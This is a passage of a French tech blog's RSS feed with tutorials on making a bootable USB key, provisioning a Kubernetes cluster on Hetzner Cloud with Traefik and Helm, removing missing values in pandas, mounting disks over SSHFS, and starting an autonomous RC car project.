            <description>&lt;p&gt;Voici la procédure à suivre pour créer une clé USB bootable depuis un fichier iso.&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;diskutil list

diskutil unmountDisk disk2

sudo dd if=/Users/olivier/Downloads/proxmox-ve_5.3-1.iso of=/dev/disk2 bs=8m

diskutil eject disk2
&lt;/code&gt;&lt;/pre&gt;</description>
            <content type="html"><![CDATA[<p>Voici la procédure à suivre pour créer une clé USB bootable depuis un fichier iso.</p>
<pre tabindex="0"><code>diskutil list

diskutil unmountDisk disk2

sudo dd if=/Users/olivier/Downloads/proxmox-ve_5.3-1.iso of=/dev/disk2 bs=8m

diskutil eject disk2
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Provisionner un cluster Kubernetes sur HCloud</title>
            <link>https://leandeep.com/provisionner-un-cluster-kubernetes-sur-hcloud/</link>
            <pubDate>Wed, 02 Jan 2019 00:45:00 +0000</pubDate>
            
            <guid>https://leandeep.com/provisionner-un-cluster-kubernetes-sur-hcloud/</guid>
            <description>&lt;h2 id=&#34;introduction&#34;&gt;Introduction&lt;/h2&gt;
&lt;p&gt;Dans cet article nous allons voir comment provisionner un cluster avec ou sans haute disponibilité sur &lt;a href=&#34;https://console.hetzner.cloud&#34;&gt;HCloud&lt;/a&gt;.
Sans haute disponibilité, on va créer un cluster contenant 2 noeuds (1 master et 1 worker). C&amp;rsquo;est parfait quand on n&amp;rsquo;est pas en production.&lt;/p&gt;
&lt;br/&gt;
&lt;h2 id=&#34;pré-requis&#34;&gt;Pré-requis&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Installer Go&lt;/li&gt;
&lt;li&gt;Installer le binaire Go disponible sur le repository &lt;a href=&#34;https://github.com/xetys/hetzner-kube&#34;&gt;https://github.com/xetys/hetzner-kube&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;br/&gt;
&lt;h2 id=&#34;déploiement-du-cluster&#34;&gt;Déploiement du cluster&lt;/h2&gt;
&lt;p&gt;Créer un compte sur HCloud (entrez vos informations personnelles et surtout une CB)&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h2 id="introduction">Introduction</h2>
<p>Dans cet article nous allons voir comment provisionner un cluster avec ou sans haute disponibilité sur <a href="https://console.hetzner.cloud">HCloud</a>.
Sans haute disponibilité, on va créer un cluster contenant 2 noeuds (1 master et 1 worker). C&rsquo;est parfait quand on n&rsquo;est pas en production.</p>
<br/>
<h2 id="pré-requis">Pré-requis</h2>
<ul>
<li>Installer Go</li>
<li>Installer le binaire Go disponible sur le repository <a href="https://github.com/xetys/hetzner-kube">https://github.com/xetys/hetzner-kube</a></li>
</ul>
<br/>
<h2 id="déploiement-du-cluster">Déploiement du cluster</h2>
<p>Créer un compte sur HCloud (entrez vos informations personnelles et surtout une CB)</p>
<p>Ensuite créez un projet sur <a href="https://console.hetzner.cloud">HCloud</a>.</p>
<p>Une fois le projet créé, créer un token API et gardez le précieusement.</p>
<p>Ensuite entrer les commandes suivantes:</p>
<pre tabindex="0"><code># Doc: https://github.com/xetys/hetzner-kube/blob/master/docs/cluster-create.md

# Create context
hetzner-kube context add demo
# Create SSH key
hetzner-kube ssh-key add --name macbook
# Create Cluster
hetzner-kube cluster create --name demo --ssh-key macbook --datacenters nbg1-dc3 --worker-server-type cx21 --master-server-type cx11 --worker-count 1
</code></pre><blockquote>
<p>Pour avoir un cluster en HA, il suffit de passer le paramètre <code>--ha-enabled</code> à la commande précédente. Il y aura alors 3 masters nodes.</p></blockquote>
<p>La commande suivante va permettre de créer un contexte Kubernetes &ldquo;kubernetes-admin@kubernetes&rdquo; sur votre laptop dans ~/.kube/config</p>
<pre tabindex="0"><code>#hetzner-kube cluster kubeconfig &lt;cluster-name&gt; -f
hetzner-kube cluster kubeconfig demo -f
</code></pre><p>Il sera ensuite possible de lister les noeuds du cluster:</p>
<pre tabindex="0"><code>kubectl get nodes

NAME             STATUS    ROLES     AGE       VERSION
demo-master-01   Ready     master    1h        v1.9.6
demo-worker-01   Ready     &lt;none&gt;    1h        v1.9.6
</code></pre><br/>
<h2 id="installation-dopenebs">Installation d&rsquo;OpenEBS</h2>
<p>Installation de l&rsquo;operator et de la storageclass:</p>
<pre tabindex="0"><code>kubectl apply -f https://raw.githubusercontent.com/openebs/openebs/master/k8s/openebs-operator.yaml

kubectl apply -f https://raw.githubusercontent.com/openebs/openebs/master/k8s/openebs-storageclasses.yaml
</code></pre><p>On définit la nouvelle storageclass comme classe par défaut:</p>
<pre tabindex="0"><code>kubectl patch storageclass openebs-standard -p &#39;{&#34;metadata&#34;: {&#34;annotations&#34;:{&#34;storageclass.kubernetes.io/is-default-class&#34;:&#34;true&#34;}}}&#39;
</code></pre><br/>
<h2 id="installation-dun-ingress-controller">Installation d&rsquo;un Ingress Controller</h2>
<h3 id="traefik-ingress">Traefik Ingress</h3>
<p><strong>1. Création des Rôles (RBAC):</strong></p>
<pre tabindex="0"><code>kubectl apply -f   https://raw.githubusercontent.com/containous/traefik/master/examples/k8s/traefik-rbac.yaml
</code></pre><p>Contenu du fichier distant <code>traefik-rbac.yaml</code> :</p>
<pre tabindex="0"><code>---
kind: ClusterRole
apiVersion: rbac.authorization.k8s.io/v1beta1
metadata:
  name: traefik-ingress-controller
rules:
  - apiGroups:
      - &#34;&#34;
    resources:
      - services
      - endpoints
      - secrets
    verbs:
      - get
      - list
      - watch
  - apiGroups:
      - extensions
    resources:
      - ingresses
    verbs:
      - get
      - list
      - watch
---
kind: ClusterRoleBinding
apiVersion: rbac.authorization.k8s.io/v1beta1
metadata:
  name: traefik-ingress-controller
roleRef:
  apiGroup: rbac.authorization.k8s.io
  kind: ClusterRole
  name: traefik-ingress-controller
subjects:
- kind: ServiceAccount
  name: traefik-ingress-controller
  namespace: kube-system
</code></pre><br/>
<p><strong>2. Déployement de traefik via Deployment ou DaemonSet</strong></p>
<p><strong>Option 1: via Deployment (permet de créer un nodePort)</strong></p>
<pre tabindex="0"><code>kubectl apply -f https://raw.githubusercontent.com/containous/traefik/master/examples/k8s/traefik-deployment.yaml
</code></pre><p>Contenu du fichier distant <code>traefik-deployment.yaml</code>:</p>
<pre tabindex="0"><code>---
apiVersion: v1
kind: ServiceAccount
metadata:
  name: traefik-ingress-controller
  namespace: kube-system
---
kind: Deployment
apiVersion: extensions/v1beta1
metadata:
  name: traefik-ingress-controller
  namespace: kube-system
  labels:
    k8s-app: traefik-ingress-lb
spec:
  replicas: 1
  selector:
    matchLabels:
      k8s-app: traefik-ingress-lb
  template:
    metadata:
      labels:
        k8s-app: traefik-ingress-lb
        name: traefik-ingress-lb
    spec:
      serviceAccountName: traefik-ingress-controller
      terminationGracePeriodSeconds: 60
      containers:
      - image: traefik
        name: traefik-ingress-lb
        ports:
        - name: http
          containerPort: 80
        - name: admin
          containerPort: 8080
        args:
        - --api
        - --kubernetes
        - --logLevel=INFO
---
kind: Service
apiVersion: v1
metadata:
  name: traefik-ingress-service
  namespace: kube-system
spec:
  selector:
    k8s-app: traefik-ingress-lb
  ports:
    - protocol: TCP
      port: 80
      name: web
    - protocol: TCP
      port: 8080
      name: admin
  type: NodePort
</code></pre><br/>
<p><strong>Option 2: via DaemonSet (sera indispensable pour la suite du tuto)</strong></p>
<pre tabindex="0"><code>kubectl apply -f https://raw.githubusercontent.com/containous/traefik/master/examples/k8s/traefik-ds.yaml
</code></pre><p>Contenu du fichier distant <code>traefik-ds.yaml</code> :</p>
<pre tabindex="0"><code>---
apiVersion: v1
kind: ServiceAccount
metadata:
  name: traefik-ingress-controller
  namespace: kube-system
---
kind: DaemonSet
apiVersion: extensions/v1beta1
metadata:
  name: traefik-ingress-controller
  namespace: kube-system
  labels:
    k8s-app: traefik-ingress-lb
spec:
  template:
    metadata:
      labels:
        k8s-app: traefik-ingress-lb
        name: traefik-ingress-lb
    spec:
      serviceAccountName: traefik-ingress-controller
      terminationGracePeriodSeconds: 60
      containers:
      - image: traefik
        name: traefik-ingress-lb
        ports:
        - name: http
          containerPort: 80
          hostPort: 80
        - name: admin
          containerPort: 8080
          hostPort: 8080
        securityContext:
          capabilities:
            drop:
            - ALL
            add:
            - NET_BIND_SERVICE
        args:
        - --api
        - --kubernetes
        - --logLevel=INFO
---
kind: Service
apiVersion: v1
metadata:
  name: traefik-ingress-service
  namespace: kube-system
spec:
  selector:
    k8s-app: traefik-ingress-lb
  ports:
    - protocol: TCP
      port: 80
      name: web
    - protocol: TCP
      port: 8080
      name: admin
</code></pre><br/>
<p><strong>3. Vérification du déploiement</strong></p>
<pre tabindex="0"><code>kubectl --namespace=kube-system get pods
</code></pre><br/>
<p><strong>4. Déploiement de l&rsquo;interface d&rsquo;admin de Traefik</strong></p>
<p>Via un service:</p>
<pre tabindex="0"><code>kubectl apply -f https://raw.githubusercontent.com/containous/traefik/master/examples/k8s/ui.yaml
</code></pre><p>Contenu du fichier distant <code>ui.yaml</code> :</p>
<pre tabindex="0"><code>---
apiVersion: v1
kind: Service
metadata:
  name: traefik-web-ui
  namespace: kube-system
spec:
  selector:
    k8s-app: traefik-ingress-lb
  ports:
  - name: web
    port: 80
    targetPort: 8080
---
apiVersion: extensions/v1beta1
kind: Ingress
metadata:
  name: traefik-web-ui
  namespace: kube-system
spec:
  rules:
  - host: traefik-ui.minikube
    http:
      paths:
      - path: /
        backend:
          serviceName: traefik-web-ui
          servicePort: web
</code></pre><br/>
<p><strong>5. Accès à l&rsquo;interface Traefik en dev</strong></p>
<pre tabindex="0"><code>echo &#34;ip_dun_worker traefik-ui.minikube&#34; | sudo tee -a /etc/hosts
</code></pre><br/>
<p><strong>6. Vérification du bon fonctionnement de l&rsquo;ingress</strong></p>
<p><strong>6.1. Déploiement de 3 apps de test</strong></p>
<pre tabindex="0"><code>kubectl apply -f https://raw.githubusercontent.com/containous/traefik/master/examples/k8s/cheese-deployments.yaml
</code></pre><p>Contenu du fichier distant <code>cheese-deployments.yaml</code> :</p>
<pre tabindex="0"><code>---
kind: Deployment
apiVersion: extensions/v1beta1
metadata:
  name: stilton
  labels:
    app: cheese
    cheese: stilton
spec:
  replicas: 2
  selector:
    matchLabels:
      app: cheese
      task: stilton
  template:
    metadata:
      labels:
        app: cheese
        task: stilton
        version: v0.0.1
    spec:
      containers:
      - name: cheese
        image: errm/cheese:stilton
        resources:
          requests:
            cpu: 100m
            memory: 50Mi
          limits:
            cpu: 100m
            memory: 50Mi
        ports:
        - containerPort: 80
---
kind: Deployment
apiVersion: extensions/v1beta1
metadata:
  name: cheddar
  labels:
    app: cheese
    cheese: cheddar
spec:
  replicas: 2
  selector:
    matchLabels:
      app: cheese
      task: cheddar
  template:
    metadata:
      labels:
        app: cheese
        task: cheddar
        version: v0.0.1
    spec:
      containers:
      - name: cheese
        image: errm/cheese:cheddar
        resources:
          requests:
            cpu: 100m
            memory: 50Mi
          limits:
            cpu: 100m
            memory: 50Mi
        ports:
        - containerPort: 80
---
kind: Deployment
apiVersion: extensions/v1beta1
metadata:
  name: wensleydale
  labels:
    app: cheese
    cheese: wensleydale
spec:
  replicas: 2
  selector:
    matchLabels:
      app: cheese
      task: wensleydale
  template:
    metadata:
      labels:
        app: cheese
        task: wensleydale
        version: v0.0.1
    spec:
      containers:
      - name: cheese
        image: errm/cheese:wensleydale
        resources:
          requests:
            cpu: 100m
            memory: 50Mi
          limits:
            cpu: 100m
            memory: 50Mi
        ports:
        - containerPort: 80
</code></pre><br/>
<p><strong>6.2. Création des 3 services</strong></p>
<pre tabindex="0"><code>kubectl apply -f https://raw.githubusercontent.com/containous/traefik/master/examples/k8s/cheese-services.yaml
</code></pre><p>Contenu du fichier distant <code>cheese-services.yaml</code> :</p>
<pre tabindex="0"><code>---
apiVersion: v1
kind: Service
metadata:
  name: stilton
spec:
  ports:
  - name: http
    targetPort: 80
    port: 80
  selector:
    app: cheese
    task: stilton
---
apiVersion: v1
kind: Service
metadata:
  name: cheddar
spec:
  ports:
  - name: http
    targetPort: 80
    port: 80
  selector:
    app: cheese
    task: cheddar
---
apiVersion: v1
kind: Service
metadata:
  name: wensleydale
spec:
  ports:
  - name: http
    targetPort: 80
    port: 80
  selector:
    app: cheese
    task: wensleydale
</code></pre><br/>
<p><strong>6.3. Création de l&rsquo;ingress</strong></p>
<pre tabindex="0"><code>kubectl apply -f https://raw.githubusercontent.com/containous/traefik/master/examples/k8s/cheese-ingress.yaml
</code></pre><p>Contenu du fichier distant <code>cheese-ingress.yaml</code> :</p>
<pre tabindex="0"><code>apiVersion: extensions/v1beta1
kind: Ingress
metadata:
  name: cheese
spec:
  rules:
  - host: stilton.minikube
    http:
      paths:
      - path: /
        backend:
          serviceName: stilton
          servicePort: http
  - host: cheddar.minikube
    http:
      paths:
      - path: /
        backend:
          serviceName: cheddar
          servicePort: http
  - host: wensleydale.minikube
    http:
      paths:
      - path: /
        backend:
          serviceName: wensleydale
          servicePort: http
</code></pre><br/>
<p><strong>Accès aux 3 apps en dev</strong></p>
<pre tabindex="0"><code>echo &#34;116.203.33.4 stilton.minikube cheddar.minikube wensleydale.minikube&#34; | sudo tee -a /etc/hosts
</code></pre><br/>
<h3 id="ingress-nginx">Ingress Nginx</h3>
<p>Voir le tuto: <a href="https://github.com/kubernetes/ingress-nginx/blob/master/docs/deploy/index.md">https://github.com/kubernetes/ingress-nginx/blob/master/docs/deploy/index.md</a></p>
<br/>
<h2 id="déploiement-dune-app-via-helm">Déploiement d&rsquo;une app via helm</h2>
<p><strong>Installation du tiller</strong></p>
<pre tabindex="0"><code>helm init --service-account tiller
</code></pre><br/>
<p><strong>Création d&rsquo;un service account</strong></p>
<pre tabindex="0"><code>kubectl create serviceaccount --namespace kube-system tiller
# Ajout des droits sur l&#39;ensemble du cluster pour pouvoir déployer dans les différents namespaces
kubectl create clusterrolebinding tiller-cluster-rule --clusterrole=cluster-admin --serviceaccount=kube-system:tiller
kubectl patch deploy --namespace kube-system tiller-deploy -p &#39;{&#34;spec&#34;:{&#34;template&#34;:{&#34;spec&#34;:{&#34;serviceaccount&#34;:&#34;tiller&#34;}}}}&#39;
</code></pre><br/>
<p><strong>Déploiement</strong></p>
<p>Pour accéder à une application il y a différente possibilités.</p>
<br/>
<p><strong>Déploiement option 1: Accès via Nodeport</strong></p>
<p>Déploiement d&rsquo;un nodeport:
<img src="/images/nodeport.png" alt="image"></p>
<pre tabindex="0"><code>kubectl expose deployment hello-world --type=NodePort --name=example-service
kubectl get svc
NAME              TYPE        CLUSTER-IP   EXTERNAL-IP   PORT(S)          AGE
example-service   NodePort    10.97.67.9   &lt;none&gt;        8080:30485/TCP   2s
kubernetes        ClusterIP   10.96.0.1    &lt;none&gt;        443/TCP          1h

curl http://&lt;ip_cluster&gt;:30485
Hello Kubernetes!
</code></pre><p><code>NodePort</code> est une option que l&rsquo;on configure directement dans le service. Kubernetes va allouer un port specifique sur chaque noeud du cluster pour accéder au service. Une requête arrivant sur n&rsquo;importe quel noeud sera routée vers le service.</p>
<p>C&rsquo;est cool car c&rsquo;est très simple à mettre en place mais ce n&rsquo;est pas robuste. De plus on ne peut pas savoir quel port sera alloué au service et pas garantir qu&rsquo;il sera toujours le même&hellip;</p>
<p>Il y a d&rsquo;autres solutions:</p>
<ul>
<li>LoadBalancer</li>
<li>Ingress</li>
</ul>
<br/>
<p><strong>Déploiement option 2: Accès via LoadBalancer</strong> (si votre IAAS est capable de vous fournir un Load Balancer à la demande)</p>
<p><img src="/images/loadbalancer.png" alt="image"></p>
<p>Egalement assez simple à mettre en place, il est possible de spécifier dans le YAML qu&rsquo;un service est de type LoadBalancer.
Par contre, la fonctionnalité de load balancing doit être implémentée à l&rsquo;extérieur par le cloud provider. Attention donc aux coûts (i.e. GKE) car à chaque fois que vous aurez à exposer un service au monde extérieur vous devrez créer un nouveau load balancer et obtenir une adresse IP.</p>
<br/>
<p><strong>Déploiement option 3: Accès via Ingress</strong></p>
<p><img src="/images/ingress.png" alt="image"></p>
<p>Contrairement au <code>NodePort</code> and au <code>LoadBalancer</code>, l&rsquo;<code>Ingress</code> est une ressource complètement indépendante du service. On déclare, crée et détruit l&rsquo;ingress indépendament des services.</p>
<p>C&rsquo;est donc découplé et isolé des services que l&rsquo;on veut exposer. Cela permet, entre autres, de mieux gérer les rêgles de routage.</p>
<hr>
<p>Dans notre cas, nous allons utiliser un ingress.
On commence par déployer l&rsquo;application en spécifiant <code>ClusterIP</code> comme <code>serviceType</code>:</p>
<pre tabindex="0"><code>helm install --set service.type=ClusterIP stable/ghost
</code></pre><p>A présent on peut créer notre ingress:</p>
<p>Note du 02/01/2018 - Procédure suivante à vérifier (validation d&rsquo;ici peu&hellip; Si cela ne fonctionne pas, voir le contenu du fichier <code>cheese-ingress.yaml</code> plus haut)</p>
<pre tabindex="0"><code>cat ingress.yaml
</code></pre><p>Output:</p>
<pre tabindex="0"><code>apiVersion: extensions/v1beta1
kind: Ingress
metadata:
  name: iron-hyena-ghost
spec:
  backend:
    serviceName: iron-hyena-ghost
    servicePort: 80
</code></pre><p>Puis on applique:</p>
<pre tabindex="0"><code>kubectl apply -f ingress.yaml
</code></pre><br/>
<h2 id="etendre-le-cluster">Etendre le cluster</h2>
<p>Pour ajouter des workers au cluster existant:</p>
<pre tabindex="0"><code>hetzner-kube cluster add-worker --worker-server-type cx21 --datacenters nbg1-dc3 --name demo --nodes 1

#hetzner-kube cluster add-worker --worker-server-type cx21 --datacenters nbg1-dc3 --name &lt;cluster-name&gt; --nodes 1
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Effacer les données manquantes</title>
            <link>https://leandeep.com/effacer-les-donn%C3%A9es-manquantes/</link>
            <pubDate>Sun, 30 Dec 2018 22:13:18 -0700</pubDate>
            
            <guid>https://leandeep.com/effacer-les-donn%C3%A9es-manquantes/</guid>
            <description>&lt;h2 id=&#34;pré-requis&#34;&gt;Pré-requis&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;pip install numpy pandas
# va installer numpy 1.19.1 et pandas 1.1.0
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;charger-les-librairies&#34;&gt;Charger les librairies&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;import numpy as np
import pandas as pd
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;création-dune-matrice-de-données&#34;&gt;Création d&amp;rsquo;une matrice de données&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;# Création de la feature matrice
X = np.array([[1, 2], 
              [6, 3], 
              [8, 4], 
              [9, 5], 
              [np.nan, 4]])
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;effacer-les-données-manquantes&#34;&gt;Effacer les données manquantes&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Avec Numpy&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;X[~np.isnan(X).any(axis=1)]
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Résultat:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;array([[1., 2.],
       [6., 3.],
       [8., 4.],
       [9., 5.]])
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Avec Pandas&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;# On transforme les données en dataframe Pandas
df = pd.DataFrame(X, columns=[&amp;#39;feature_1&amp;#39;, &amp;#39;feature_2&amp;#39;])

# On efface les observations avec des données manquantes
df.dropna()
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Résultat:&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h2 id="pré-requis">Pré-requis</h2>
<pre tabindex="0"><code>pip install numpy pandas
# va installer numpy 1.19.1 et pandas 1.1.0
</code></pre><br/>
<h2 id="charger-les-librairies">Charger les librairies</h2>
<pre tabindex="0"><code>import numpy as np
import pandas as pd
</code></pre><br/>
<h2 id="création-dune-matrice-de-données">Création d&rsquo;une matrice de données</h2>
<pre tabindex="0"><code># Création de la feature matrice
X = np.array([[1, 2], 
              [6, 3], 
              [8, 4], 
              [9, 5], 
              [np.nan, 4]])
</code></pre><br/>
<h2 id="effacer-les-données-manquantes">Effacer les données manquantes</h2>
<p><strong>Avec Numpy</strong></p>
<pre tabindex="0"><code>X[~np.isnan(X).any(axis=1)]
</code></pre><p>Résultat:</p>
<pre tabindex="0"><code>array([[1., 2.],
       [6., 3.],
       [8., 4.],
       [9., 5.]])
</code></pre><br/>
<p><strong>Avec Pandas</strong></p>
<pre tabindex="0"><code># On transforme les données en dataframe Pandas
df = pd.DataFrame(X, columns=[&#39;feature_1&#39;, &#39;feature_2&#39;])

# On efface les observations avec des données manquantes
df.dropna()
</code></pre><p>Résultat:</p>
<pre tabindex="0"><code>   feature_1  feature_2
0        1.0        2.0
1        6.0        3.0
2        8.0        4.0
3        9.0        5.0
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Monter un dossier distant avec SSHFS</title>
            <link>https://leandeep.com/monter-un-dossier-distant-avec-sshfs/</link>
            <pubDate>Sat, 29 Dec 2018 21:24:00 +0000</pubDate>
            
            <guid>https://leandeep.com/monter-un-dossier-distant-avec-sshfs/</guid>
            <description>&lt;h2 id=&#34;classique-monter-un-disque-remote-en-local&#34;&gt;(Classique) Monter un disque remote en local&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;SSHFS&lt;/code&gt; sert à monter sur son système de fichier, un autre système de fichier distant, à travers une connexion SSH, le tout avec des droits utilisateur.&lt;/p&gt;
&lt;p&gt;C&amp;rsquo;est plutôt pratique. Voici la commande:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;sshfs -p &amp;lt;votre_port_ssh&amp;gt; -o allow_other,defer_permissions olivier@ip_server:path_dossier_a_monter repertoire_en_local
&lt;/code&gt;&lt;/pre&gt;&lt;blockquote&gt;
&lt;p&gt;Installer sshfs sur Ubuntu: &lt;code&gt;sudo apt install -y sshfs&lt;/code&gt;&lt;/p&gt;&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;Installer sshfs sur OSX: &lt;code&gt;brew cask install osxfuse &amp;amp;&amp;amp; brew install sshfs&lt;/code&gt;&lt;/p&gt;&lt;/blockquote&gt;
&lt;br/&gt;
&lt;h2 id=&#34;linverse-plus-cool-monter-un-disque-local-sur-un-serveur-remote&#34;&gt;(L&amp;rsquo;inverse, plus cool) Monter un disque local sur un serveur remote&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;export REMOTE_USER=root
export IP_REMOTE_SERVEUR=vps
export LOCAL_USER=olivier
export REMOTE_BASE_PATH=/root # pas très secure mais j&amp;#39;utilise une trash machine

# Pré-requis:
# Le répertoire $REMOTE_BASE_PATH/disk_remote doit exister sur le serveur distant

# Lancé depuis un MAC vers serveur Linux
mkdir -p /Users/$LOCAL_USER/shared_data
ssh -t -p 22 $REMOTE_USER@$IP_REMOTE_SERVEUR -R 10000:localhost:22 &amp;#34;sshfs -o NoHostAuthenticationForLocalhost=yes,reconnect,allow_other,nonempty -p 10000 $LOCAL_USER@localhost:/Users/$LOCAL_USER/shared_data $REMOTE_BASE_PATH/disk_remote;bash&amp;#34;

# Lancé depuis un serveur linux vers un autre serveur linux (en mode background)
# autossh -M 0 -f -t -p 22 $REMOTE_USER@$IP_REMOTE_SERVEUR -R 10000:localhost:22 &amp;#34;sshfs -o NoHostAuthenticationForLocalhost=yes,allow_other,nonempty,reconnect -p 10000 $LOCAL_USER@localhost:/home/$LOCAL_USER/shared_data $REMOTE_BASE_PATH/disk_remote&amp;#34;

# Example:
# ssh -t -p 22 root@vps -R 10000:localhost:22 &amp;#34;sshfs -o allow_other,cache=no,no_readahead,no_remote_lock,compression=no,uid=1000,gid=1000,NoHostAuthenticationForLocalhost=yes,reconnect -p 10000 olivier@localhost:/Users/olivier/shared_data /root/disk_remote;bash&amp;#34;

# Checker si le disque local a bien été monté
# Normalement vous devriez être connecté à votre serveur distant après l&amp;#39;exécution de la commande précédente
mount
touch toto

# disconnect 
umount -f $LOCAL_USER@localhost:/home/$LOCAL_USER/shared_data
ls
&lt;/code&gt;&lt;/pre&gt;</description>
            <content type="html"><![CDATA[<h2 id="classique-monter-un-disque-remote-en-local">(Classique) Monter un disque remote en local</h2>
<p><code>SSHFS</code> sert à monter sur son système de fichier, un autre système de fichier distant, à travers une connexion SSH, le tout avec des droits utilisateur.</p>
<p>C&rsquo;est plutôt pratique. Voici la commande:</p>
<pre tabindex="0"><code>sshfs -p &lt;votre_port_ssh&gt; -o allow_other,defer_permissions olivier@ip_server:path_dossier_a_monter repertoire_en_local
</code></pre><blockquote>
<p>Installer sshfs sur Ubuntu: <code>sudo apt install -y sshfs</code></p></blockquote>
<blockquote>
<p>Installer sshfs sur OSX: <code>brew cask install osxfuse &amp;&amp; brew install sshfs</code></p></blockquote>
<br/>
<h2 id="linverse-plus-cool-monter-un-disque-local-sur-un-serveur-remote">(L&rsquo;inverse, plus cool) Monter un disque local sur un serveur remote</h2>
<pre tabindex="0"><code>export REMOTE_USER=root
export IP_REMOTE_SERVEUR=vps
export LOCAL_USER=olivier
export REMOTE_BASE_PATH=/root # pas très secure mais j&#39;utilise une trash machine

# Pré-requis:
# Le répertoire $REMOTE_BASE_PATH/disk_remote doit exister sur le serveur distant

# Lancé depuis un MAC vers serveur Linux
mkdir -p /Users/$LOCAL_USER/shared_data
ssh -t -p 22 $REMOTE_USER@$IP_REMOTE_SERVEUR -R 10000:localhost:22 &#34;sshfs -o NoHostAuthenticationForLocalhost=yes,reconnect,allow_other,nonempty -p 10000 $LOCAL_USER@localhost:/Users/$LOCAL_USER/shared_data $REMOTE_BASE_PATH/disk_remote;bash&#34;

# Lancé depuis un serveur linux vers un autre serveur linux (en mode background)
# autossh -M 0 -f -t -p 22 $REMOTE_USER@$IP_REMOTE_SERVEUR -R 10000:localhost:22 &#34;sshfs -o NoHostAuthenticationForLocalhost=yes,allow_other,nonempty,reconnect -p 10000 $LOCAL_USER@localhost:/home/$LOCAL_USER/shared_data $REMOTE_BASE_PATH/disk_remote&#34;

# Example:
# ssh -t -p 22 root@vps -R 10000:localhost:22 &#34;sshfs -o allow_other,cache=no,no_readahead,no_remote_lock,compression=no,uid=1000,gid=1000,NoHostAuthenticationForLocalhost=yes,reconnect -p 10000 olivier@localhost:/Users/olivier/shared_data /root/disk_remote;bash&#34;

# Checker si le disque local a bien été monté
# Normalement vous devriez être connecté à votre serveur distant après l&#39;exécution de la commande précédente
mount
touch toto

# disconnect 
umount -f $LOCAL_USER@localhost:/home/$LOCAL_USER/shared_data
ls
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Construire une voiture téléguidée autonome - part 1</title>
            <link>https://leandeep.com/construire-une-voiture-t%C3%A9l%C3%A9guid%C3%A9e-autonome-part-1/</link>
            <pubDate>Fri, 21 Dec 2018 22:30:00 +0000</pubDate>
            
            <guid>https://leandeep.com/construire-une-voiture-t%C3%A9l%C3%A9guid%C3%A9e-autonome-part-1/</guid>
            <description>&lt;h1 id=&#34;introduction&#34;&gt;Introduction&lt;/h1&gt;
&lt;p&gt;Mon objectif est de construire une voiture téléguidée autonome. Réaliser ce projet me permettra de développer davantage mes compétences sur le sujet de la conduite autonome et plus généralement du Deep Learning. J&amp;rsquo;ai déjà réalisé un premier projet sur ce sujet (j&amp;rsquo;ai publié un article et une vidéo Youtube) mais mon expérimentation utilisait le simulateur Unity. Maintenant avec ce nouveau projet, je veux sortir du virtuel et aller un cran plus loin en passant au monde réel.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h1 id="introduction">Introduction</h1>
<p>Mon objectif est de construire une voiture téléguidée autonome. Réaliser ce projet me permettra de développer davantage mes compétences sur le sujet de la conduite autonome et plus généralement du Deep Learning. J&rsquo;ai déjà réalisé un premier projet sur ce sujet (j&rsquo;ai publié un article et une vidéo Youtube) mais mon expérimentation utilisait le simulateur Unity. Maintenant avec ce nouveau projet, je veux sortir du virtuel et aller un cran plus loin en passant au monde réel.</p>
<p>Pour ce faire, j&rsquo;ai donc acheté une petite voiture téléguidée. J&rsquo;ai démonté la télécommande et je l&rsquo;ai &ldquo;<em>hackée</em>&rdquo;. J&rsquo;ai en effet réalisé 4 dérivations sur le circuit de commande. Les 4 boutons poussoirs que l&rsquo;on retrouve dans presque toutes les télécommandes de ces voitures sont maintenant <em>bypassés</em>/ remplacés par mon Raspberry Pi 3 via le GPIO.</p>
<p>J&rsquo;ai pas mal de Micro-controleurs et de Micro-ordinateurs (Arduino Uno, Mega, Yun, Orange Pi, Banana Pi, Raspberry Pi 1, 2, 3, et pleins d&rsquo;autres&hellip;). J&rsquo;ai opté pour le Raspberry Pi 3 pour ce projet tout simplement parce qu&rsquo;il a du Wifi intégré et parce qu&rsquo;il devrait être assez puissant pour faire tourner Tensorflow et la vidéo (+ broadcast sur Webapp et API hostée). L&rsquo;avenir me dira s&rsquo;il sera suffisant puissant pour tout faire tourner. Pour le moment j&rsquo;en suis encore à la partie hardware. L&rsquo;idée, pour ce projet, est de ne pas avoir besoin d&rsquo;une connexion internet pour que le voiture roule de façon autonome.</p>
<h2 id="résultat-de-mon-travail">Résultat de mon travail</h2>
<p><!-- raw HTML omitted -->Première vidéo:<!-- raw HTML omitted --> Premiers tests juste après la soudure des composants et branchement des fils

    <iframe 
        width="100%" 
        height="400" 
        src="//www.youtube.com/embed/1-nuFU3drXo?rel=0" 
        frameborder="0" 
        allow="autoplay; encrypted-media" 
        allowfullscreen>
    </iframe>



</p>
